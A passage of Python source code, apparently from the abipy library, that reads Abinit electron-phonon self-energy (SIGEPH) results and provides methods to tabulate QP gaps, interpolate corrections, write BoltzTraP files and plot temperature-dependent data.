ibz2kcalc\n\n @lazy_property\n def ks_dirgaps(self):\n \"\"\"\n |numpy-array| of shape [nsppol, nkcalc] with the KS gaps in eV ordered as kcalc.\n \"\"\"\n return self.r.read_value(\"ks_gaps\") * abu.Ha_eV\n\n @lazy_property\n def qp_dirgaps_t(self):\n \"\"\"\n |numpy-array| of shape [nsppol, nkcalc, ntemp] with the QP direct gap in eV ordered as kcalc.\n QP energies are computed with the linearized QP equation (Z factor)\n \"\"\"\n return self.r.read_value(\"qp_gaps\") * abu.Ha_to_eV\n\n @lazy_property\n def qp_dirgaps_otms_t(self):\n \"\"\"\n |numpy-array| of shape [nsppol, nkcalc, ntemp] with the QP direct gap in eV ordered as kcalc.\n QP energies are computed with the on-the-mass-shell approximation\n \"\"\"\n try:\n return self.r.read_value(\"qpoms_gaps\") * abu.Ha_to_eV\n except Exception:\n #cprint(\"Reading old deprecated sigeph file!\", \"yellow\")\n return self.r.read_value(\"qpadb_enes\") * abu.Ha_to_eV\n\n @lazy_property\n def mu_e(self):\n \"\"\"mu_e[ntemp] chemical potential (eV) of electrons for the different temperatures.\"\"\"\n return self.r.read_value(\"mu_e\") * abu.Ha_eV\n\n @lazy_property\n def edos(self) -> ElectronDos:\n \"\"\"\n |ElectronDos| object computed by Abinit with the input WFK file without doping (if any).\n Since this field is optional, None is returned if netcdf variable is not present\n \"\"\"\n if \"edos_mesh\" not in self.r.rootgrp.variables: return None\n # See m_ebands.edos_ncwrite for fileformat\n mesh = self.r.read_value(\"edos_mesh\") * abu.Ha_eV\n # nctkarr_t(\"edos_dos\", \"dp\", \"edos_nw, nsppol_plus1\"), &\n # dos(nw,0:nsppol) Total DOS, spin up and spin down component.\n spin_dos = self.r.read_value(\"edos_dos\") / abu.Ha_eV\n nelect = self.ebands.nelect\n fermie = self.ebands.fermie\n\n return ElectronDos(mesh, spin_dos[1:], nelect, fermie=fermie)\n\n def sigkpt2index(self, kpoint):\n \"\"\"\n Returns the index of the self-energy k-point in sigma_kpoints\n Used to access data in the arrays that are dimensioned with [0:nkcalc]\n \"\"\"\n return self.r.sigkpt2index(kpoint)\n\n def find_qpkinds(self, qp_kpoints):\n \"\"\"\n Find kpoints for QP corrections from user input.\n Return list of (kpt, ikcalc) tuples where kpt is a |Kpoint| and\n ikcalc is the index in the nkcalc array..\n \"\"\"\n if isinstance(qp_kpoints, _MyQpkindsList):\n return qp_kpoints\n\n if isinstance(qp_kpoints, Kpoint):\n qp_kpoints = [qp_kpoints]\n\n if qp_kpoints is None or (duck.is_string(qp_kpoints) and qp_kpoints == \"all\"):\n # qp_kpoints in (None, \"all\")\n items = self.sigma_kpoints, list(range(self.nkcalc))\n\n elif duck.is_intlike(qp_kpoints):\n # qp_kpoints = 1\n ikc = int(qp_kpoints)\n items = [self.sigma_kpoints[ikc]], [ikc]\n\n elif isinstance(qp_kpoints, Iterable):\n # either [0, 1] or [[0, 0.5, 0]]\n # note possible ambiguity with [0, 0, 0] that is treated as list of integers.\n if duck.is_intlike(qp_kpoints[0]):\n ik_list = duck.list_ints(qp_kpoints)\n items = [self.sigma_kpoints[ikc] for ikc in ik_list], ik_list\n else:\n ik_list = [self.r.sigkpt2index(kpt) for kpt in qp_kpoints]\n qp_kpoints = [self.sigma_kpoints[ikc] for ikc in ik_list]\n items = qp_kpoints, ik_list\n else:\n raise TypeError(\"Don't know how to interpret `%s`\" % (type(qp_kpoints)))\n\n # Check indices\n errors = []\n eapp = errors.append\n for ikc in items[1]:\n if ikc >= self.nkcalc:\n eapp(\"K-point index %d >= nkcalc %d, check input qp_kpoints\" % (ikc, self.nkcalc))\n if errors:\n raise ValueError(\"\\n\".join(errors))\n\n return _MyQpkindsList(zip(items[0], items[1]))\n\n @lazy_property\n def params(self) -> dict:\n \"\"\"dict with the convergence parameters, e.g. ``nbsum``.\"\"\"\n od = OrderedDict([\n (\"nbsum\", self.nbsum),\n (\"zcut\", self.zcut),\n (\"symsigma\", self.symsigma),\n (\"nqbz\", self.r.nqbz),\n (\"nqibz\", self.r.nqibz),\n ])\n # Add EPH parameters.\n od.update(self.r.common_eph_params)\n\n return od\n\n def get_sigeph_skb(self, spin, kpoint, band):\n \"\"\"\"Return e-ph self-energy for the given (spin, kpoint, band).\"\"\"\n return self.r.read_sigeph_skb(spin, kpoint, band)\n\n #def get_arpes_plotter(self):\n # from abipy.electrons.arpes import ArpesPlotter\n # kinds\n # minb, maxb\n # aw: [nwr, ntemp, max_nbcalc, nkcalc, nsppol] array\n # aw_meshes: [max_nbcalc, nkcalc, nsppol] array with energy mesh in eV\n # arpes_ebands = self.ebands.select_bands(range(minb, maxb), kinds=kinds)\n # return ArpesPlotter(arpes_ebands, aw, aw_meshes, self.tmesh)\n\n def get_dataframe(self, itemp=None, with_params=True, with_spin=\"auto\", ignore_imag=False) -> pd.DataFrame:\n \"\"\"\n Returns |pandas-Dataframe| with QP results for all k-points, bands and spins\n included in the calculation.\n\n Args:\n itemp: Temperature index, if None all temperatures are returned.\n with_params: False to exclude calculation parameters from the dataframe.\n ignore_imag: only real part is returned if ``ignore_imag``.\n \"\"\"\n df_list = []; app = df_list.append\n with_spin = self.nsppol == 2 if with_spin == \"auto\" else with_spin\n for spin in range(self.nsppol):\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n app(self.get_dataframe_sk(spin, ikc, itemp=itemp, with_params=with_params,\n with_spin=with_spin, ignore_imag=ignore_imag))\n\n return pd.concat(df_list)\n\n def get_dirgaps_dataframe(self, kpoint, itemp=None, spin=0, with_params=False) -> pd.DataFrame:\n \"\"\"\n Returns |pandas-DataFrame| with QP direct gaps at the given k-point\n\n Args:\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n itemp: Temperature index, if None all temperatures are returned.\n spin: Spin index\n with_params: False to exclude calculation parameters from the dataframe.\n \"\"\"\n ikc = self.sigkpt2index(kpoint)\n it_list = list(range(self.ntemp)) if itemp is None else [int(itemp)]\n\n rows = []\n for it in it_list:\n d = dict(T=self.tmesh[it],\n ks_gap=self.ks_dirgaps[spin, ikc],\n qp_gap=self.qp_dirgaps_t[spin, ikc, it],\n otms_gap=self.qp_dirgaps_otms_t[spin, ikc, it])\n\n if with_params: d.update(self.params)\n rows.append(d)\n\n return pd.DataFrame(rows)\n\n def get_dataframe_sk(self, spin, kpoint, itemp=None, index=None,\n with_params=False, with_spin=\"auto\", ignore_imag=False) -> pd.DataFrame:\n \"\"\"\n Returns |pandas-DataFrame| with QP results for the given (spin, k-point).\n\n Args:\n spin: Spin index.\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n itemp: Temperature index, if None all temperatures are returned.\n index: dataframe index.\n with_params: False to exclude calculation parameters from the dataframe.\n with_spin: True to add column with spin index. \"auto\" to add it only if nsppol == 2\n ignore_imag: Only real part is returned if ``ignore_imag``.\n \"\"\"\n ikc = self.sigkpt2index(kpoint)\n with_spin = self.nsppol == 2 if with_spin == \"auto\" else with_spin\n rows = []\n for band in range(self.bstart_sk[spin, ikc], self.bstop_sk[spin, ikc]):\n # Read QP data.\n qp = self.r.read_qp(spin, ikc, band, ignore_imag=ignore_imag)\n # Convert to dataframe and add other entries useful when comparing different calculations.\n rows.append(qp.get_dataframe(with_spin=with_spin, params=self.params if with_params else None))\n\n df = pd.concat(rows)\n if itemp is not None: df = df[df[\"tmesh\"] == self.tmesh[itemp]]\n return df\n\n def get_linewidth_dos(self, method=\"gaussian\", e0=\"fermie\", step=0.1, width=0.2):\n \"\"\"\n Calculate linewidth density of states\n\n Args:\n method: String defining the method for the computation of the DOS.\n step: Energy step (eV) of the linear mesh.\n width: Standard deviation (eV) of the gaussian.\n\n Returns: |ElectronDos| object.\n \"\"\"\n ebands = self.ebands\n ntemp = self.ntemp\n tmesh = self.tmesh\n\n # Compute linear mesh\n nelect = ebands.nelect\n fermie = ebands.get_e0(e0)\n epad = 3.0 * width\n min_band = np.min(self.bstart_sk)\n max_band = np.max(self.bstop_sk)\n e_min = np.min(ebands.eigens[:,:,min_band]) - epad\n e_max = np.max(ebands.eigens[:,:,max_band-1]) + epad\n nw = int(1 + (e_max - e_min) / step)\n mesh, step = np.linspace(e_min, e_max, num=nw, endpoint=True, retstep=True)\n\n # get dos\n if method == \"gaussian\":\n dos = np.zeros((ntemp,self.nsppol,nw))\n for spin in range(self.nsppol):\n for i, ik in enumerate(self.kcalc2ibz):\n weight = ebands.kpoints.weights[ik]\n for band in range(self.bstart_sk[spin, i], self.bstop_sk[spin, i]):\n qp = self.r.read_qp(spin,i,band)\n e0 = qp.e0\n for it in range(ntemp):\n linewidth = abs(qp.fan0.imag[it])\n dos[it,spin] += weight * linewidth * gaussian(mesh, width, center=e0)\n else:\n raise NotImplementedError(\"Method %s is not supported\" % method)\n\n # TODO: Specialized object with ElectronDos list?\n return [ElectronDos(mesh, dos_t, nelect, fermie=fermie) for dos_t in dos]\n\n def get_qp_array(self, ks_ebands_kpath=None, mode=\"qp\", rta_type=\"mrta\"):\n \"\"\"\n Get the lifetimes in an array with spin, kpoint and band dimensions\n\n Args:\n rta_type: \"serta\" for SERTA linewidths or \"mrta\" for MRTA linewidths.\n \"\"\"\n if mode == \"qp\":\n # Read QP energies from file (real + imag part) and compute corrections if ks_ebands_kpath.\n # nctkarr_t(\"qp_enes\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n qpes = self.r.read_value(\"qp_enes\", cmode=\"c\") * abu.Ha_eV\n\n elif mode == \"ks+lifetimes\":\n # nctkarr_t(\"ks_enes\", \"dp\", \"max_nbcalc, nkcalc, nsppol\")\n # nctkarr_t(\"vals_e0ks\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n qpes_re = self.r.read_value(\"ks_enes\") * abu.Ha_to_eV\n\n if rta_type == \"serta\":\n qpes_im = self.r.read_value(\"vals_e0ks\", cmode=\"c\").imag * abu.Ha_to_eV\n elif rta_type == \"mrta\":\n qpes_im = self.r.read_value(\"linewidth_mrta\") * abu.Ha_to_eV\n else:\n raise ValueError(\"Invalid rta_type: `%s`\" % rta_type)\n\n qpes = qpes_re[:,:,:,np.newaxis] + 1j * qpes_im\n\n else:\n raise ValueError(\"Invalid interpolation mode: %s can be either 'qp' or 'ks+lifetimes'\" % mode)\n\n if ks_ebands_kpath is not None:\n if ks_ebands_kpath.structure != self.structure:\n cprint(\"sigres.structure and ks_ebands_kpath.structures differ. Check your files!\", \"red\")\n # MG FIXME: Not sure this part is OK\n # nctkarr_t(\"ks_enes\", \"dp\", \"max_nbcalc, nkcalc, nsppol\")\n ks_enes = self.r.read_value(\"ks_enes\") * abu.Ha_to_eV\n for itemp in range(self.ntemp):\n qpes[:, :, :, itemp] -= ks_enes\n\n # Note there's no guarantee that the sigma_kpoints and the corrections have the same k-point index.\n # Be careful because the order of the k-points and the band range stored in the SIGRES file may differ ...\n # HM: Map the bands from sigeph to the electron bandstructure\n nkibz = len(self.ebands.kpoints)\n if nkibz != len(self.sigma_kpoints):\n cprint(\"SIGPEH file does not contain QP data for all the k-points in the IBZ!\", \"yellow\")\n\n nband = self.r.bstop_sk.max()\n qpes_new = np.zeros((self.nsppol, nkibz, nband, self.ntemp), dtype=complex)\n\n for spin in range(self.nsppol):\n for ikc, ikibz in enumerate(self.kcalc2ibz):\n for ibc, band in enumerate(range(self.bstart_sk[spin, ikc], self.bstop_sk[spin, ikc])):\n qpes_new[spin, ikibz, band] = qpes[spin, ikc, ibc]\n\n return qpes_new\n\n def get_lifetimes_boltztrap(self, basename, rta_type=\"mrta\", workdir=None):\n \"\"\"\n Produce basename.tau and basename.energy text files to be used\n in Boltztrap code for transport calculations.\n\n Args:\n basename: The basename of the files to be produced\n workdir: Directory where files will be produced. None for current working directory.\n \"\"\"\n workdir = os.getcwd() if workdir is None else str(workdir)\n\n # get the lifetimes as an array\n qpes = self.get_qp_array(mode='ks+lifetimes', rta_type=rta_type)\n\n # read from this class\n nkibz = self.nkpt\n kpoints = self.kpoints\n bstart = self.r.max_bstart\n bstop = self.r.min_bstop\n ntemp = self.ntemp\n tmesh = self.tmesh\n fermie_ry = self.ebands.fermie * abu.eV_Ry\n struct = self.ebands.structure\n\n def write_file(filename, tag, function, T=None):\n \"\"\"Function to write files for BoltzTraP\"\"\"\n with open(os.path.join(workdir, filename), 'wt') as f:\n ttag = ' for T=%12.6lf' % T if T else ''\n f.write('BoltzTraP %s file generated by abipy%s.\\n' % (tag, ttag))\n f.write('%5d %5d %20.12e ! nk, nspin : lifetimes below in s \\n' % (nkibz, self.nsppol, fermie_ry))\n for ispin in range(self.nsppol):\n for ik in range(nkibz):\n kpt = kpoints[ik]\n fmt = '%20.12e ' * 3 + '%d !kpt nband\\n' % (bstop - bstart)\n f.write(fmt % tuple(kpt))\n for ibnd in range(bstart, bstop):\n f.write('%20.12e\\n' % (function(qpes[ispin, ik, ibnd, itemp])))\n\n # write tau\n for itemp in range(ntemp):\n T = tmesh[itemp]\n filename_tau = basename + '_%dK_BLZTRP.tau_k' % T\n function = lambda x: 1.0 / (2 * abs(x.imag) * abu.eV_s)\n write_file(filename_tau, 'tau_k', function,T)\n\n # write energies\n filename_ene = basename + '_BLZTRP.energy'\n function = lambda x: x.real * abu.eV_Ry\n write_file(filename_ene, 'eigen-enegies', function)\n\n # write structure\n fmt3 = \"%20.12e \"*3 + '\\n'\n path = os.path.join(workdir, basename + '_BLZTRP.structure')\n with open(path, 'wt') as f:\n f.write('BoltzTraP geometry file generated by abipy.\\n')\n f.write(fmt3 % tuple(struct.lattice.matrix[0] * abu.Ang_Bohr))\n f.write(fmt3 % tuple(struct.lattice.matrix[1] * abu.Ang_Bohr))\n f.write(fmt3 % tuple(struct.lattice.matrix[2] * abu.Ang_Bohr))\n f.write(\"%d\\n\" % len(struct))\n for atom in struct:\n f.write(\"%s \" % atom.specie + fmt3 % tuple(atom.coords * abu.Ang_Bohr))\n\n def interpolate(self, itemp_list=None, lpratio=5, mode=\"qp\", ks_ebands_kpath=None, ks_ebands_kmesh=None,\n ks_degatol=1e-4, vertices_names=None, line_density=20, filter_params=None,\n only_corrections=False, verbose=0): # pragma: no cover\n \"\"\"\n Interpolated the self-energy corrections in k-space on a k-path and, optionally, on a k-mesh.\n\n Args:\n itemp_list: List of temperature indices to interpolate. None for all.\n lpratio: Ratio between the number of star functions and the number of ab-initio k-points.\n The default should be OK in many systems, larger values may be required for accurate derivatives.\n mode: Interpolation mode, can be 'qp' or 'ks+lifetimes'\n ks_ebands_kpath: KS |ElectronBands| on a k-path. If present,\n the routine interpolates the QP corrections and apply them on top of the KS band structure\n This is the recommended option because QP corrections are usually smoother than the\n QP energies and therefore easier to interpolate. If None, the QP energies are interpolated\n along the path defined by ``vertices_names`` and ``line_density``.\n ks_ebands_kmesh: KS |ElectronBands| on a homogeneous k-mesh. If present, the routine\n interpolates the corrections on the k-mesh (used to compute the QP DOS)\n ks_degatol: Energy tolerance in eV. Used when either ``ks_ebands_kpath`` or ``ks_ebands_kmesh`` are given.\n KS energies are assumed to be degenerate if they differ by less than this value.\n The interpolator may break band degeneracies (the error is usually smaller if QP corrections\n are interpolated instead of QP energies). This problem can be partly solved by averaging\n the interpolated values over the set of KS degenerate states.\n A negative value disables this ad-hoc symmetrization.\n vertices_names: Used to specify the k-path for the interpolated QP band structure\n when ``ks_ebands_kpath`` is None.\n It's a list of tuple, each tuple is of the form (kfrac_coords, kname) where\n kfrac_coords are the reduced coordinates of the k-point and kname is a string with the name of\n the k-point. Each point represents a vertex of the k-path. ``line_density`` defines\n the density of the sampling. If None, the k-path is automatically generated according\n to the point group of the system.\n line_density: Number of points in the smallest segment of the k-path. Used with ``vertices_names``.\n filter_params: TO BE DESCRIBED\n only_corrections: If True, the output contains the interpolated QP corrections instead of the QP energies.\n Available only if ks_ebands_kpath and/or ks_ebands_kmesh are used.\n verbose: Verbosity level\n\n Returns: class:`TdepElectronBands`.\n \"\"\"\n # Consistency check.\n errlines = []\n eapp = errlines.append\n if len(self.sigma_kpoints) == 1:\n eapp(\"QP Interpolation requires nkptgw > 1.\")\n\n # NB: it's possible to compute QP on a submesh with sigma_ngkpt (default is 0, 0, 0)\n sigma_ngkpt = self.r.read_value(\"sigma_ngkpt\", default=None)\n if len(self.sigma_kpoints) != len(self.ebands.kpoints) and np.all(sigma_ngkpt == 0):\n eapp(\"QP energies should be computed for all k-points in the IBZ but nkibz != nkptgw\")\n\n #if (np.any(self.bstop_sk[0, 0] != self.gwbstop_sk):\n # cprint(\"Highest bdgw band is not constant over k-points. QP Bands will be interpolated up to...\")\n #if (np.any(self.gwbstart_sk[0, 0] != self.gwbstart_sk):\n #if (np.any(self.gwbstart_sk[0, 0] != 0):\n if errlines:\n raise ValueError(\"\\n\".join(errlines))\n\n # Get symmetries from abinit spacegroup (read from file).\n abispg = self.structure.abi_spacegroup\n fm_symrel = [s for (s, afm) in zip(abispg.symrel, abispg.symafm) if afm == 1]\n\n if ks_ebands_kpath is None:\n # Generate k-points for interpolation. Will interpolate all bands available in the sigeph file.\n bstart, bstop = self.r.max_bstart, self.r.min_bstop\n if vertices_names is None:\n vertices_names = [(k.frac_coords, k.name) for k in self.structure.hsym_kpoints]\n kpath = Kpath.from_vertices_and_names(self.structure, vertices_names, line_density=line_density)\n kfrac_coords, knames = kpath.frac_coords, kpath.names\n\n else:\n # Use list of k-points from ks_ebands_kpath.\n ks_ebands_kpath = ElectronBands.as_ebands(ks_ebands_kpath)\n kfrac_coords = [k.frac_coords for k in ks_ebands_kpath.kpoints]\n knames = [k.name for k in ks_ebands_kpath.kpoints]\n\n # Find the band range for the interpolation.\n bstart, bstop = 0, ks_ebands_kpath.nband\n # FIXME what about bstart?\n bstop = min(bstop, self.r.min_bstop)\n if ks_ebands_kpath.nband < self.r.min_bstop:\n cprint(\"Number of bands in KS band structure smaller than the number of bands in GW corrections\", \"red\")\n cprint(\"Highest GW bands will be ignored\", \"red\")\n\n if ks_ebands_kmesh is not None:\n # K-points and weight for DOS are taken from ks_ebands_kmesh\n dos_kcoords = [k.frac_coords for k in ks_ebands_kmesh.kpoints]\n dos_weights = [k.weight for k in ks_ebands_kmesh.kpoints]\n\n # Interpolate QP energies if ks_ebands_kpath is None else interpolate QP corrections\n # and re-apply them on top of the KS band structure.\n gw_kcoords = [k.frac_coords for k in self.sigma_kpoints]\n\n # MG FIXME: Not sure this part is OK\n qpes = self.get_qp_array(ks_ebands_kpath=ks_ebands_kpath, mode=\"qp\")\n\n # Build interpolator for QP corrections.\n from abipy.core.skw import SkwInterpolator\n cell = (self.structure.lattice.matrix, self.structure.frac_coords, self.structure.atomic_numbers)\n has_timrev = has_timrev_from_kptopt(self.r.read_value(\"kptopt\"))\n\n qp_ebands_kpath_t, qp_ebands_kmesh_t, interpolators_t = [], [], []\n itemp_list = list(range(self.ntemp)) if itemp_list is None else duck.list_ints(itemp_list)\n for itemp in itemp_list:\n skw_reim = []\n for reim in (\"real\", \"imag\"):\n # nctkarr_t(\"qp_enes\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n qpdata = qpes[:, :, bstart:bstop, itemp]\n qpdata = getattr(qpdata, reim).copy()\n\n skw = SkwInterpolator(lpratio, gw_kcoords, qpdata, self.ebands.fermie, self.ebands.nelect,\n cell, fm_symrel, has_timrev,\n filter_params=filter_params, verbose=verbose)\n skw_reim.append(skw)\n\n if ks_ebands_kpath is None:\n # Interpolate QP energies.\n if reim == \"real\":\n eigens_kpath = skw.interp_kpts(kfrac_coords).eigens\n else:\n lw_kpath = skw.interp_kpts(kfrac_coords).eigens\n else:\n # Interpolate QP energies corrections and add them to KS.\n ref_eigens = ks_ebands_kpath.eigens[:, :, bstart:bstop]\n qp_corrs = skw.interp_kpts_and_enforce_degs(kfrac_coords, ref_eigens, atol=ks_degatol).eigens\n if reim == \"real\":\n eigens_kpath = qp_corrs if only_corrections else ref_eigens + qp_corrs\n else:\n lw_kpath = qp_corrs\n\n if ks_ebands_kmesh is not None:\n # Interpolate QP energies corrections and add them to KS\n ref_eigens = ks_ebands_kmesh.eigens[:, :, bstart:bstop]\n if reim == \"real\":\n eigens_kmesh = skw.interp_kpts_and_enforce_degs(dos_kcoords, ref_eigens, atol=ks_degatol).eigens\n else:\n linewidths_kmesh = skw.interp_kpts(dos_kcoords).eigens\n\n interpolators_t.append(skw_reim)\n\n # Build new ebands object with k-path.\n kpts_kpath = Kpath(self.structure.reciprocal_lattice, kfrac_coords, weights=None, names=knames)\n occfacts_kpath = np.zeros(eigens_kpath.shape)\n\n # Finding the new Fermi level of the interpolated bands is not trivial, in particular if metallic.\n # because one should first interpolate the QP bands on a mesh. Here I align the QP bands\n # at the HOMO of the KS bands.\n homos = ks_ebands_kpath.homos if ks_ebands_kpath is not None else self.ebands.homos\n qp_fermie = max([eigens_kpath[e.spin, e.kidx, e.band] for e in homos])\n #qp_fermie = self.ebands.fermie\n #qp_fermie = 0.0\n\n newt = ElectronBands(self.structure, kpts_kpath, eigens_kpath, qp_fermie, occfacts_kpath,\n self.ebands.nelect, self.ebands.nspinor, self.ebands.nspden,\n smearing=self.ebands.smearing, linewidths=lw_kpath)\n qp_ebands_kpath_t.append(newt)\n\n if ks_ebands_kmesh is not None:\n # Interpolate QP corrections on the same k-mesh as the one used in the KS run.\n ks_ebands_kmesh = ElectronBands.as_ebands(ks_ebands_kmesh)\n\n # Build new ebands object with k-mesh\n kpts_kmesh = IrredZone(self.structure.reciprocal_lattice, dos_kcoords, weights=dos_weights,\n names=None, ksampling=ks_ebands_kmesh.kpoints.ksampling)\n occfacts_kmesh = np.zeros(eigens_kmesh.shape)\n\n newt = ElectronBands(self.structure, kpts_kmesh, eigens_kmesh, qp_fermie, occfacts_kmesh,\n self.ebands.nelect, self.ebands.nspinor, self.ebands.nspden,\n smearing=self.ebands.smearing,linewidths=linewidths_kmesh)\n qp_ebands_kmesh_t.append(newt)\n\n return TdepElectronBands(self.tmesh[itemp_list], ks_ebands_kpath, qp_ebands_kpath_t,\n ks_ebands_kmesh, qp_ebands_kmesh_t, interpolators_t)\n\n @add_fig_kwargs\n def plot_qpgaps_t(self, qp_kpoints=0, qp_type=\"qpz0\", ax_list=None, plot_qpmks=True, \n fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the KS and the QP(T) direct gaps for all the k-points available in the SIGEPH file.\n\n Args:\n qp_kpoints: List of k-points in self-energy. Accept integers (list or scalars), list of vectors,\n or None to plot all k-points.\n qp_type: \"qpz0\" for linearized QP equation with Z factor at KS e0,\n \"otms\" for on-the-mass-shell results.\n ax_list: List of |matplotlib-Axes| or None if a new figure should be created.\n plot_qpmks: If False, plot QP_gap, KS_gap else (QP_gap - KS_gap)\n fontsize: legend and title fontsize.\n kwargs: Passed to ax.plot method except for marker.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n qpkinds = self.find_qpkinds(qp_kpoints)\n # Build grid plot.\n nrows, ncols = len(qpkinds), 1\n ax_list, fig, plt = get_axarray_fig_plt(ax_list, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=True)\n ax_list = np.array(ax_list).ravel()\n label = kwargs.pop(\"label\", None)\n\n if qp_type not in {\"qpz0\", \"otms\"}:\n raise ValueError(\"Invalid qp_type: `%s`\" % qp_type)\n\n for ix, ((kpt, ikc), ax) in enumerate(zip(qpkinds, ax_list)):\n for spin in range(self.nsppol):\n if not plot_qpmks:\n # Plot QP_{spin,kpt}(T)\n if qp_type == \"qpz0\": values = self.qp_dirgaps_t[spin, ikc]\n if qp_type == \"otms\": values = self.qp_dirgaps_otms_t[spin, ikc]\n ax.plot(self.tmesh, values, marker=self.marker_spin[spin], label=label, **kwargs)\n # Add KS gap (assumed at T=0).\n ax.scatter(0, self.ks_dirgaps[spin, ikc]) #, label=\"KS gap %s\" % label)\n else:\n # Plot QP_{spin,kpt}(T) - KS_gap\n if qp_type == \"qpz0\": values = self.qp_dirgaps_t[spin, ikc]\n if qp_type == \"otms\": values = self.qp_dirgaps_otms_t[spin, ikc]\n\n ax.plot(self.tmesh, values - self.ks_dirgaps[spin, ikc],\n marker=self.marker_spin[spin], label=label)\n\n ax.grid(True)\n if ix == len(qpkinds) - 1:\n ax.set_xlabel(\"Temperature (K)\")\n if plot_qpmks:\n ax.set_ylabel(\"QP - KS gap (eV)\")\n else:\n ax.set_ylabel(\"QP direct gap (eV)\")\n ax.set_title(\"k:%s (%s)\" % (repr(kpt), qp_type.upper()), fontsize=fontsize)\n if label:\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n return fig\n\n @add_fig_kwargs\n def plot_qpdata_t(self, spin, kpoint, band_list=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the QP results as function T for a given (spin, k-point) and all bands.\n\n Args:\n spin: Spin index\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n band_list: List of band indices to be included. If None, all bands are shown.\n fontsize: legend and title fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n # TODO: Add more quantities DW, Fan(0)\n # Quantities to plot.\n what_list = [\"re_qpe\", \"imag_qpe\", \"ze0\"] # \"re_fan0\", \"imag_fan0\", \"dw\"\n\n # Build grid plot.\n nrows, ncols = len(what_list), 1\n ax_list, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=False)\n ax_list = np.array(ax_list).ravel()\n\n # Read all QPs for this (spin, kpoint) and all bands.\n qp_list = self.r.read_qplist_sk(spin, kpoint)\n\n for ix, (ax, what) in enumerate(zip(ax_list, what_list)):\n # Plot QP(T)\n for qp in qp_list:\n if band_list is not None and qp.band not in band_list: continue\n yvals = getattr(qp, what)\n ax.plot(qp.tmesh, yvals, marker=self.marker_spin[spin],\n label=\"band: %s\" % qp.band)\n\n ax.grid(True)\n ax.set_ylabel(what)\n if ix == len(what_list) - 1: ax.set_xlabel(\"Temperature [K]\")\n if ix == 0: ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n if \"title\" not in kwargs:\n title = \"QP results spin:%s, k:%s\" % (spin, repr(qp_list[0].kpoint))\n fig.suptitle(title, fontsize=fontsize)\n\n return fig\n\n @lazy_property\n def qplist_spin(self):\n \"\"\"Tuple of :class:`QpTempList` objects indexed by spin.\"\"\"\n return self.r.read_allqps()\n\n @add_fig_kwargs\n def plot_qps_vs_e0(self, itemp_list=None, with_fields=\"all\", reim=\"real\",\n function=lambda x: x, exclude_fields=None, e0=\"fermie\",\n colormap=\"jet\", xlims=None, ylims=None, ax_list=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the QP results in the SIGEPH file as function of the initial KS energy.\n\n Args:\n itemp_list: List of integers to select a particular temperature. None means all\n with_fields: The names of the qp attributes to plot as function of e0.\n Accepts: List of strings or string with tokens separated by blanks.\n See :class:`QPState` for the list of available fields.\n reim: Plot the real or imaginary part\n function: Apply a function to the results before plotting\n exclude_fields: Similar to ``with_field`` but excludes fields.\n e0: Option used to define the zero of energy. Possible values:\n - `fermie`: shift energies to have zero energy at the Fermi level.\n - Number e.g e0=0.5: shift all eigenvalues to have zero energy at 0.5 eV\n - None: Don't shift energies, equivalent to e0=0\n ax_list: List of |matplotlib-Axes| for plot. If None, new figure is produced.\n colormap: matplotlib color map.\n xlims: Set the data limits for the x-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used.\n ylims: Similar to xlims but for y-axis.\n fontsize: Legend and title fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n fermie = self.ebands.get_e0(e0)\n for spin in range(self.nsppol):\n fig = self.qplist_spin[spin].plot_vs_e0(itemp_list=itemp_list,\n with_fields=with_fields, reim=reim, function=function, exclude_fields=exclude_fields, fermie=fermie,\n colormap=colormap, xlims=xlims, ylims=ylims, ax_list=ax_list, fontsize=fontsize, marker=self.marker_spin[spin],\n show=False, **kwargs)\n ax_list = fig.axes\n\n #for ix, ax in enumerate(ax_list):\n # if ix != 0:\n # set_visible(ax, False, \"legend\")\n # else:\n # ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n return fig\n\n @add_fig_kwargs\n def plot_qpbands_ibzt(self, itemp_list=None, e0=\"fermie\", colormap=\"jet\", ylims=None, fontsize=8, **kwargs) -> Figure:\n r\"\"\"\n Plot the KS band structure in the IBZ with the QP(T) energies.\n\n Args:\n itemp_list: List of integers to select a particular temperature. None for all\n e0: Option used to define the zero of energy in the band structure plot.\n colormap: matplotlib color map.\n ylims: Set the data limits for the y-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used.\n fontsize: Legend and title fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n itemp_list = list(range(self.ntemp)) if itemp_list is None else duck.list_ints(itemp_list)\n\n # TODO: It seems there's a minor issue with fermie if SCF band structure.\n e0 = self.ebands.get_e0(e0)\n #print(\"e0\",e0, self.ebands.fermie)\n\n # Build grid with (1, nsppol) plots.\n nrows, ncols = 1, self.nsppol\n ax_list, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=True, squeeze=False)\n ax_list = np.array(ax_list).ravel()\n cmap = plt.get_cmap(colormap)\n\n # Read QP energies: nctkarr_t(\"qp_enes\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n qpes = self.r.read_value(\"qp_enes\", cmode=\"c\") * abu.Ha_eV\n band_range = (self.r.max_bstart, self.r.min_bstop)\n\n for spin, ax in zip(range(self.nsppol), ax_list):\n # Plot KS bands in the band range included in self-energy calculation.\n self.ebands.plot(ax=ax, e0=e0, spin=spin, band_range=band_range, show=False)\n # Add (scattered) QP(T) energies for the calculated k-points.\n for itemp 